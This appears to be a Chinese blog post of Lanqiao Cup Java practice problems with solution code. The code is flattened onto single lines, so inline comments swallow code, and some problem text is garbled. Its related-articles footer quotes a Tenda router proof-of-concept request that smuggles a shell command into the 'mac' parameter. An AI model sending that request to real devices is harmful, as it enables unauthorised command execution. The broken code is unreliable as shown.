2025蓝桥杯JAVA编程题练习Day4

1.艺术与篮球

问题描述

小蓝出生在一个艺术与运动并重的家庭中。

妈妈是位书法家,她希望小蓝能通过练习书法,继承她的艺术天赋,并练就一手好字。爸爸是一名篮球教练,他希望小蓝能通过篮球锻炼身体,培养运动的激情和团队合作的精神。

为了既满足妈妈的期望,又不辜负爸爸的心意,小蓝决定根据日期的笔画数来安排自己的练习。首先,他会将当天的日期按照 “YYYYMMDD” 的格式转换成一个 8 位数,然后将这 8 位数对应到汉字上,计算这些汉字的总笔画数。如果总笔画数超过 50,他就去练习篮球;如果总笔画数不超过 50,他就去练习书法。

例如,在 2024 年 11 月 11 日这天,日期可表示为一个 8 位数字 20240101,其转换为汉字是“二零二四零一零一”。日期的总笔画数为 2+13+2+5+13+1+13+1=50,因此在这天,小蓝会去练习书法。

以下是汉字的笔画数对照表:

汉字笔画数
13
1
2
3
5
4
4
2
2
2

现在,请你帮助小蓝统计一下,在 2000年 1月 1 日到 2024年 4 月 13日这段时间内,小蓝有多少天是在练习篮球?

答案提交

这是一道结果填空题,你只需要算出结果后提交即可。本题的结果为一个整数,在提交答案时只填写这个整数,填写多余的内容将无法得分。

AC代码

import java.util.*;
import java.text.SimpleDateFormat; //引入public class exercise1 {static Scanner scan=new Scanner(System.in);static boolean check(String date) {SimpleDateFormat format=new SimpleDateFormat("yyyy-MM-dd");format.setLenient(false);try {format.parse(date);}catch(Exception e) {return false;}return true;}public static void main(String[] args) {Calendar c=Calendar.getInstance();c.set(2000, Calendar.JANUARY,1);Calendar end=Calendar.getInstance();end.set(2024, Calendar.APRIL,13);int ans=0;int[] map= {13,1,2,3,5,4,4,2,2,2};while(c.compareTo(end)<=0) { //遍历日历String date=new SimpleDateFormat("yyyy-MM-dd").format(c.getTime());if(check(date)) {int year=c.get(Calendar.YEAR);int month=c.get(Calendar.MONTH)+1;// Calendar.MONTH 中,月份是从 0 开始的,因此要加一int day=c.get(Calendar.DAY_OF_MONTH);int kk=year*10000+month*100+day;//System.out.println(kk);int sum=0;while(kk>0) {sum+=(map[kk%10]);kk/=10;}if(sum>50)ans++;}c.add(Calendar.DAY_OF_MONTH, 1);}System.out.println(ans);}
}

2.确定字符串是否包含唯一字符

题目描述

实现一个算法来识别一个字符串的字符是否是唯一的(忽略字母大小写)。

若唯一,则输出YES,否则输出NO

输入描述

输入一行字符串,长度不超过 100。

输出描述

输出一行,若字符串的字符是唯一的,则输出YES,否则输出NO

输入输出样例

输入

abd25+

 

输出

YES

AC代码

import java.util.*;public class exercise1 {static Scanner scan=new Scanner(System.in);public static void main(String[] args) {String s=scan.nextLine();Map<Character,Integer> map=new HashMap<>();boolean ok=true;for(int i=0;i<s.length();i++) {char c=s.charAt(i);if(map.get(c)==null) {map.put(c, 1);}else {ok=false;break;}}if(!ok) {System.out.println("NO");}else {System.out.println("YES");}}
}

 3.确定字符串是否是另一个的排列

题目描述

实现一个算法来识别一个字符串 str2是否是另一个字符串 str1的排列。排列的解释如下:如果将 str1 的字符拆分开,重新排列后再拼接起来,能够得到 str2 ,那么就说字符串 str2 是字符串 str1 的排列。(不忽略大小写)

如果 str2字符串是 str1字符串的排列,则输出 YES;如果 str2 字符串不是 str1 字符串的排列,则输出 NO

输入描述

第一行为字符串str11;

第二行为字符串str22;

字符串长度均不超过 100。

输出描述;

输出一行,如果 str2 字符串是 str1 字符串的排列,则输出 YES

如果 str2 字符串不是 str1 字符串的排列,则输出 NO

输入输出样例

输入

acb
bac

 

输出

YES

AC代码

import java.util.*;public class exercise1 {static Scanner scan=new Scanner(System.in);public static void main(String[] args) {String a=scan.nextLine();String b=scan.nextLine();Map<Character,Integer> map=new HashMap<>();boolean ok=true;for(int i=0;i<a.length();i++) {char c=a.charAt(i);if(map.get(c)==null) {map.put(c, 1);}else {map.put(c, map.get(c)+1);}}for(int i=0;i<b.length();i++) {char c=b.charAt(i);if(map.get(c)==null) {ok=false;break;}else {if(map.get(c)-1<0) {ok=false;break;}map.put(c, map.get(c)-1);}}if(!ok) {System.out.println("NO");}else {System.out.println("YES");}}
}

 4.压缩字符串

题目描述

实现一个算法来压缩一个字符串。压缩的要求如下:

  1. 需要判断压缩能不能节省空间,仅在压缩后字符串比原字符串长度更短时进行压缩。

  2. 压缩的格式是将连续相同字符替换为字符 + 数字形式,例如 "AAABCCDDDD" 变为 "A3BC2D4"。

输入描述

输入一行字符串,长度不超过 500.

输出描述

输出一行。若输入的字符串可压缩,则输出压缩后的字符串,否则输出 NO

输入输出样例

输入

AAABCCDDDD

 

输出

A3BC2D4

AC代码

import java.util.*;public class exercise1 {static Scanner scan=new Scanner(System.in);public static void main(String[] args) {String s=scan.nextLine();String ans="";for(int i=0;i<s.length();i++) {char c=s.charAt(i);ans+=c;int cnt=1;while(i+1<s.length()&&c==s.charAt(i+1)) {cnt++;i++;}if(cnt>1)ans+=String.valueOf(cnt);}if(ans.length()>=s.length()) {System.out.println("NO");}else {System.out.println(ans);}}
}

 5.拼数

问题描述

给定 n个正整数 a1,a2,…,an,你可以将它们任意排序。

现要将这 n 个数字连接成一排,即令相邻数字收尾相接,组成一个数。

问,这个数最大可以是多少。

输入格式

第一行输入一个正整数 n(1≤n≤20)。

第二行输入 n 个正整数 a1,a2,…,an​(1≤ai≤10^5)。

输出格式

输出一个整数,表示答案。

样例输入

3
13 312 343

 

样例输出

34331213

AC代码

(1)通过80%样例 

import java.util.*;public class exercise1 {static Scanner scan=new Scanner(System.in);public static void main(String[] args) {int n=scan.nextInt();String[] a=new String[n];for(int i=0;i<n;i++) {int temp=scan.nextInt();a[i]=String.valueOf(temp);}Arrays.sort(a); // 按照一个一个字符一一比较,与长度无关String ans="";for(int i=n-1;i>=0;i--) {ans+=a[i];}System.out.println(ans);}
}

(2)通过100%样例。修改:因为默认规则中,当前缀相同时,短 < 长,这可能导致结果并不是最大。例如当x=3,y=30,则x+y=330,y+x=303,即x+y>y+x,返回正值,因此x在y后面 (若x+y<y+x,返回负值,因此x在y前面)。若按照默认排序则变成30、3即为303,因此要加入比较。

import java.util.*;public class exercise1 {static Scanner scan=new Scanner(System.in);public static void main(String[] args) {int n=scan.nextInt();String[] a=new String[n];for(int i=0;i<n;i++) {int temp=scan.nextInt();a[i]=String.valueOf(temp);}//Arrays.sort(a); // 按照一个一个字符一一比较,与长度无关Arrays.sort(a,(x,y)->{return (x+y).compareTo(y+x);// x+y<y+x,则顺序为x、y,之后逆序加起来即可});//x=3,y=30,则x+y=330,y+x=303即x+y>y+x因此x在y后面String ans="";for(int i=n-1;i>=0;i--) {ans+=a[i];}System.out.println(ans);}
}

 6.走迷宫(BFS)

题目描述

给定一个 N×M 的网格迷宫 G。G 的每个格子要么是道路,要么是障碍物(道路用 1 表示,障碍物用 0 表示)。

已知迷宫的入口位置为 (x1,y1),出口位置为 (x2,y2)。问从入口走到出口,最少要走多少个格子。

输入描述

输入第 1 行包含两个正整数 N,M,分别表示迷宫的大小。

接下来输入一个 N×M 的矩阵。若 Gi,j=1 表示其为道路,否则表示其为障碍物。

最后一行输入四个整数 x1,y1,x2,y2,表示入口的位置和出口的位置。

1≤N,M≤10^2,0≤Gi,j≤1,1≤x1,x2≤N,1≤y1,y2≤M。

输出描述

输出仅一行,包含一个整数表示答案。

若无法从入口到出口,则输出 −1。

输入输出样例

输入

5 5 
1 0 1 1 0
1 1 0 1 1 
0 1 0 1 1
1 1 1 1 1
1 0 0 0 1
1 1 5 5 

 

输出

8

AC代码

import java.util.*;public class exercise1 {static Scanner scan=new Scanner(System.in);static int n=scan.nextInt();static int m=scan.nextInt();static int[][] g=new int[n+1][m+1];static int[][] vs=new int[n+1][m+1];static int[] dx= {0,1,0,-1};static int[] dy= {1,0,-1,0};static int x1=0,y1=0,x2=0,y2=0;public static void main(String[] args) {for(int i=1;i<=n;i++) {for(int j=1;j<=m;j++) {g[i][j]=scan.nextInt();}}x1=scan.nextInt();y1=scan.nextInt();x2=scan.nextInt();y2=scan.nextInt();System.out.println(bfs());}public static int bfs() {Queue<int[]>q=new LinkedList<>();q.add(new int[] {x1,y1,0});while(!q.isEmpty()) {int[] temp=q.poll();int x=temp[0];int y=temp[1];int step=temp[2];if(x==x2&&y==y2) {return step;}for(int i=0;i<4;i++) {int xx=x+dx[i];int yy=y+dy[i];if(xx>=1&&xx<=n&&yy>=1&&yy<=m&&vs[xx][yy]==0&&g[xx][yy]==1) {vs[xx][yy]=1;q.add(new int[] {xx,yy,step+1});}}}return -1;}
}

 7.最长回文子串

题目描述

给定一个字符串 S,请你求出 S 的最长回文子串。

输入描述

输入仅一行,包含一个字符串 S。

1≤∣S∣≤5×10^5,保证 S 只包含小写字母、大写字母、数字。

输出描述

输出共 1 行,包含一个整数,表示答案。

输入输出样例

输入

aa1ABA1b

 

输出

5

AC代码

import java.util.*;public class exercise1 {static Scanner scan=new Scanner(System.in);public static void main(String[] args) {String s=scan.nextLine();int ans=solve(s); // 最长回文子串长度System.out.println(ans);}public static int solve(String s) {if(s==null||s.isEmpty())return 0;int ans=0;int n=s.length();for(int i=0;i<n;i++) { // 中心扩展法int len1=expand(s,i,i);// 以s[i]为中心奇数长度int len2=expand(s,i,i+1);// 以s[i]和s[i+1]为中心偶数长度ans=Math.max(ans,Math.max(len1, len2));//不断取最大}return ans;}public static int expand(String s,int left,int right) {int l=left;int r=right; while(l>=0&&r<s.length()&&s.charAt(l)==s.charAt(r)) {l--;r++;}return (r-1)-(l+1)+1;}// aa1ABA1b 当i=4,l=4,r=4-->l=2,r=6,结果为6-2+1=5
}

 8.奇怪的捐赠

题目描述

本题为填空题,只需要算出结果后,在代码中使用输出语句将所填结果输出即可。

地产大亨 Q 先生临终的遗愿是:拿出 100万元给 X 社区的居民抽奖,以稍慰藉心中愧疚。

麻烦的是,他有个很奇怪的要求:

  1. 100 万元必须被正好分成若干份(不能剩余)。每份必须是 7 的若干次方元。比如:11元, 7 元, 49 元,343 元,...

  2. 相同金额的份数不能超过 5份。

  3. 在满足上述要求的情况下,分成的份数越多越好!

请你帮忙计算一下,最多可以分为多少份?

解题思路

将一个数分解成n的若干次方,联想到进制转换。1000000这个数只有对应的一个7进制的数,既然题目说了100万能平均分完,那转化为7进制这个数一定是符合题目要求的(即每份不超过5)。

AC代码

import java.util.*;public class exercise1 {static Scanner scan=new Scanner(System.in);public static void main(String[] args) {String s=Integer.toString(1000000,7);// 将100万转为7进制数表示int ans=0;for(int i=0;i<s.length();i++) {ans+=s.charAt(i)-'0';}System.out.println(ans);}
}

9.谁做了作业

题目描述

老师给A、B、C、D、E五个学生布置了一次作业。检查后发现:

(1) A和B要么都做了作业,要么都没做。

(2) B和C只有一个人做了作业。

(3) D没有做作业。

(4) C和E最多有一人做了作业。

请问谁做了作业。

输入描述

本题无输入。

输出描述

输出做了作业的学生名单。如果有多组解,首先按做了作业的人数从少到多的顺序输出各组解,如果存在人数相同的解,则再按字典序输出每组解,每组解占一行。每组解如果有多个人,用空格隔开。

AC代码

import java.util.*;public class exercise1 {static Scanner scan=new Scanner(System.in);public static void main(String[] args) {System.out.println("C");System.out.println("A B");System.out.println("A B E");}
}

10.单选题

题目描述

有1、2、3、4共四道很难的单选题,每道题有A、B、C、D四个选项,每道题只有一个选项是正确答案。现在让甲、乙、丙、丁四个学生来答题,每人选择答两道题。

甲:第1题的答案是B、第4题的答案是C。

乙:第2题的答案是B、第4题的答案是A。

丙:第1题的答案是A、第3题的答案是A。

丁:第2题的答案是D、第3题的答案是C。

现在已知四个同学都只答对了一道题,且每道题都只有一个人答对了。

请根据上述信息,确定四道单选题的答案。

输入描述

本题无输入。

输出描述

输出四道单选题的答案,用空格隔开。如果有多组答案符合要求,则按字典序输出(有几个就输出几个),每个答案占一行。

AC代码

import java.util.*;public class exercise1 {static Scanner scan=new Scanner(System.in);public static void main(String[] args) {char s1,s2,s3,s4;for (s1='A';s1<='D';s1++){for (s2='A';s2<='D';s2++){for (s3='A';s3<='D';s3++){for (s4='A';s4<='D';s4++){if((s1=='B'||s4=='C')&&(s2=='B'||s4=='A')&&(s1=='A'||s3=='A')&&(s2=='D'||s3=='C')) {System.out.println(s1+" "+s2+" "+s3+" "+s4);}}}}}}
}

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/18001.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于带通滤波的camera脏污检测算法可以完全替代imatest

1.概要 脏污检测算法&#xff0c;基于opencv c实现&#xff0c;便于模组厂快速集成到软件工具中&#xff0c;适用于camera模组厂脏污拦截&#xff0c;特别是对浅脏污具备很好的定位效果&#xff1b;便于画质评价工程师了解camera模组制程的问题提出改善方向。 2.技术介绍 下图…

后勤数据源定制主控室

场景&#xff1a;在学习了解后勤数据源过程中&#xff0c;看到觉得有用的note&#xff0c;分享给大家。 1779063 - 常见问题&#xff1a;关于 LO 数据提取 - 定制主控室&#xff08;事务 LBWE&#xff09; 1.问题&#xff1a; 是否需要为每个应用程序组件下的每个数据源添加池…

云原生AI Agent应用安全防护方案最佳实践(上)

当下&#xff0c;AI Agent代理是一种全新的构建动态和复杂业务场景工作流的方式&#xff0c;利用大语言模型&#xff08;LLM&#xff09;作为推理引擎。这些Agent代理应用能够将复杂的自然语言查询任务分解为多个可执行步骤&#xff0c;并结合迭代反馈循环和自省机制&#xff0…

三格电子——TCP转ProfibusDP网关使用场景

型号&#xff1a; SG-TCP-Profibus(M) 感兴趣可以TB 搜 三格电子 使用场景&#xff1a; ModbusTCP Client 通过 ModbusTCP 控制 Profibus DP 接口设备。 ModbusTCP 侧支持03H、04H、10H 功能码&#xff0c;只支持 1 个client连接&#xff1b; ProfibusDP 侧支持 DP v0。 P…

剑指offer第2版:搜索算法(二分/DFS/BFS)

查找本质就是排除的过程&#xff0c;不外乎顺序查找、二分查找、哈希查找、二叉排序树查找、DFS/BFS查找 一、p39-JZ3 找出数组中重复的数字&#xff08;利用特性&#xff09; 数组中重复的数字_牛客题霸_牛客网 方法1&#xff1a;全部排序再进行逐个扫描找重复。 时间复杂…

小众宝藏分子生物学实验中常用的软件:InSequence

欢迎使用InSequence&#xff0c;正版免费使用&#xff0c;操作友好&#xff0c;小白也能轻松上手哦~ 1. 全新中文界面与更大操作空间 全中文简洁直观的操作界面&#xff0c;常用功能固定至工具栏&#xff0c;随心自定义更改工具栏&#xff0c;让科研人员能够更快速地上手&…

南京观海微电子----整流滤波电路实用

01 变压电路 通常直流稳压电源使用电源变压器来改变输入到后级电路的电压。电源变压器由初级绕组、次级绕组和铁芯组成。初级绕组用来输入电源交流电压&#xff0c;次级绕组输出所需要的交流电压。通俗的说&#xff0c;电源变压器是一种电→磁→电转换器件。即初级的交流电转化…

python 的框架 dash 开发TodoList Web 应用

TodoList Web 应用 项目简介 这是一个基于 Dash 和 SQLAlchemy 的现代化 TodoList Web 应用&#xff0c;提供了简单而强大的待办事项管理功能。 主要特性 添加新的待办事项删除待办事项标记待办事项为已完成/未完成分页展示待办事项列表实时更新和交互 技术栈 PythonDash …

tenda路由器WriteFacMac存在远程命令执行漏洞(CVE-2024-10697)

一、漏洞简介 tenda路由器WriteFacMac存在远程命令执行漏洞 二、漏洞影响 tenda路由器三、网络测绘&#xff1a; fofa: title"Tenda | LOGIN"四、复现过程 POC 1 GET /goform/WriteFacMac?macls%20%3E/webroot/1.txt HTTP/1.1 Accept: text/html,application/…

无需编码5分钟免费部署云上调用满血版DeepSeek

大家好&#xff0c;我是 V 哥。如何自己部署DeepSeek调用满血版。首先&#xff0c;如果你遇到了使用公共服务器时的延迟或限制&#xff0c;想要本地部署以获得更好的性能和稳定性。你是不是也想自己来部署DeepSeek呢&#xff0c;其实除了自己部署本地DeepSeek&#xff0c;还可以…

linux笔记3----防火墙(ubuntu)

防火墙管理工具 ubuntu里使用ufw来管理防火墙。ufw是一个管理防火墙规则的前端工具。本文阐述如何开启、关闭防火墙&#xff0c;放行指定端口。 因为我采用putty远程来使用&#xff0c;需要关闭防火墙或者放行22端口。 核心思维 因为ufw只是一个前端工具&#xff0c;所以一开…

【音视频】RTSP拉流: RTP负载AAC详解(三)

此文为系列文章&#xff0c;此系列主要讲解RTSP客户端的拉流及播放&#xff0c;文章持续更新&#xff0c;会从rtsp的基本协议讲起&#xff0c;如何一步步实现音视频的拉流过程&#xff0c;包括一系列涉及到的协议&#xff0c;rtsp&#xff0c;sdp&#xff0c; rtp&#xff08;本…

若依系统环境搭建记录

开源若依系统网上资料也很全的&#xff0c;本篇博文记录下自己搭建环境过程中遇到的一些问题。 配置Maven和编辑器选择 我懒得配置Eclipse了&#xff0c;直接用vscode作为编辑器&#xff0c;后面构建运行都用命令行。 配置数据库连接 按照mysql5.7按网上教程即可&#xff1…

【MySql】应用系统等保测评MySQL服务器相关策略设置以及最终验证,MySQL安全策略设置以及最终验证

文章目录 一、概要二、环境及实现三、前期准备四、操作步骤1、所有的数据库需要设置三权账户&#xff1a;系统管理员、网络管理员和安全管理员创建系统管理员账户&#xff1a;创建网络管理员账户&#xff1a;创建安全管理员账户&#xff1a; 2、所有数据库密码的负责度策略需要…

bootplus管理系统 file/download 任意文件下载漏洞

bootplus管理系统 file/download 任意文件下载漏洞 漏洞描述 bootplus是基于SpringBoot + Shiro + MyBatisPlus的,拥有接口管理,权限管理,监控组件等功能的一体化权限管理框架。该项目中的file/download接口存在任意文件下载漏洞, 攻击者可以通过该漏洞下载查看目标系统的…

《open3d qt 网格采样成点云》

open3d qt 网格采样成点云 效果展示二、流程三、代码效果展示 二、流程 创建动作,链接到槽函数,并把动作放置菜单栏 参照前文 三、代码 1、槽函数实现 void on_actionMeshUniformSample_triggered();//均匀采样 void MainWindow::

部署 DeepSeek R1各个版本所需硬件配置清单

DeepSeek-R1 通过其卓越的推理性能和灵活的训练机制&#xff0c;在 2025 年的春节期间受到了广泛关注。 DeepSeek-R1 是一款高性能的 AI 推理模型&#xff0c;主要通过强化学习技术来增强模型在复杂任务场景下的推理能力。 在本地部署 DeepSeek-R1 时&#xff0c;尤其是完整的…

hive高频写入小数据,导致hdfs小文件过多,出现查询效率很低的情况

问题描述 hive高频写入小数据&#xff0c;导致hdfs小文件过多&#xff0c;出现查询效率很低的情况分析过程 先复现现象 select count() from ads.ads_sdd_flow_managemlt_to_ids_mm;–15分钟&#xff0c;小文件10983 select max(mm) from ads.ads_sdd_flow_managemlt_to_ids…

git用法(简易版)

介绍 git是一个版本管理工具 使用方法 建立仓库 第一步 git init&#xff1a;初始化仓库 第二步 git add .&#xff1a;将代码添加到暂存区 第三步 git commit -m "first"&#xff1a;为修改添加备注 第四步 git remote add origin 你的url 第五步 git pus…

顺序表SeqList(c语言)(动态顺序表)

前言&#xff1a; 顺序表是一种数据结构&#xff0c;是内存中存储数据的一种方式&#xff0c;他的内存连续性使得它有较高的缓存利用率&#xff0c;它在内存中广泛使用&#xff0c;比如数组&#xff0c;就是典型的顺序表。 实现思路&#xff1a; 一般是建立三个文件&#xf…